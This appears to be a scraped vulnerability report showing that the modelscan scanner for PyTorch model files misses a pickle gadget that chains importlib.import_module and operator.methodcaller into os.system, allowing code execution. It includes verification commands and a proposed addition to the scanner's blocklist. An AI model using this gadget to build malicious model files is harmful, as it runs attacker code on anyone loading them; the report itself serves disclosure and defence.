Views
No views yet
torch.load().unsafe_globals blocklist covers os.*, subprocess.*, builtins.eval/exec/__import__,
operator.attrgetter, etc. However, it does NOT block:importlib.import_module — can import any module including osoperator.methodcaller — can call any method on an object (only attrgetter is blocked)operator.methodcaller('system', 'cmd')(importlib.import_module('os'))
= os.system('cmd')
= RCE1# Verify modelscan does NOT detect it
2pip install modelscan
3modelscan scan pytorch_model-00001-of-00001.bin
4# Output: No issues found ✓
5
6# Verify RCE
7python3 -c "import torch; torch.load('pytorch_model-00001-of-00001.bin', weights_only=False)"
8cat /tmp/mfv_modelscan_bypass_pocimportlib and operator.methodcaller to modelscan's unsafe_globals:1"CRITICAL": {
2 "importlib": "*", # ← ADD
3 "operator": ["attrgetter", "methodcaller"], # ← ADD methodcaller
4 ...
5}